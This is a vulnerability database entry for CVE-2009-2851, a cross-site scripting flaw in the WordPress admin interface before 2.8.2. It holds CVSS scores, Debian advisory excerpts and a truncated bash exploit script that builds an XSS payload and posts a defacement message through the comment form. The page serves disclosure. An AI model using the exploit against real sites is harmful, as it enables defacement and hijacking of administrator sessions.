4.3
CVSSv2

CVE-2009-2851

Published: 18/08/2009 Updated: 07/12/2017
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 435
Vector: AV:N/AC:M/Au:N/C:N/I:P/A:N

Vulnerability Summary

Cross-site scripting (XSS) vulnerability in the administrator interface in WordPress prior to 2.8.2 allows remote malicious users to inject arbitrary web script or HTML via a comment author URL.

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Vendor Advisories

Several vulnerabilities have been discovered in wordpress, weblog manager The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2008-6762 It was discovered that wordpress is prone to an open redirect vulnerability which allows remote attackers to conduct phishing atacks CVE-2008-6767 It was discovered that remot ...
Debian Bug report logs - #504771 wordpress can be subject of delayed attacks via cookies Package: wordpress; Maintainer for wordpress is Craig Small <csmall@debianorg>; Source for wordpress is src:wordpress (PTS, buildd, popcon) Reported by: Raphael Geissert <atomo64@gmailcom> Date: Fri, 7 Nov 2008 02:42:04 UTC S ...
Debian Bug report logs - #536724 wordpress: CORE-2009-0515 priviledges unchecked and multiple information disclosures Package: wordpress; Maintainer for wordpress is Craig Small <csmall@debianorg>; Source for wordpress is src:wordpress (PTS, buildd, popcon) Reported by: "Michael S Gilbert" <michaelsgilbert@gmailcom&g ...
Debian Bug report logs - #531736 CVE-2008-6767, CVE-2008-6762 Package: wordpress; Maintainer for wordpress is Craig Small <csmall@debianorg>; Source for wordpress is src:wordpress (PTS, buildd, popcon) Reported by: Giuseppe Iuculano <giuseppe@iuculanoit> Date: Wed, 3 Jun 2009 17:27:02 UTC Severity: normal Tags: s ...

Exploits

#!/bin/bash echo "wp281quickprz // iso^kpsbr" SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz" if [ "X$SITE" = "X" ]; then echo "$0 <url> [postID]" echo "fe $0 wwwworstpresseu" exit fi if [ "X$POSTID" = "X" ]; then POSTID=1 fi echo "[+] building payload" WHERE="title" # can also be 'content' PATH="$SITE/wp-comment ...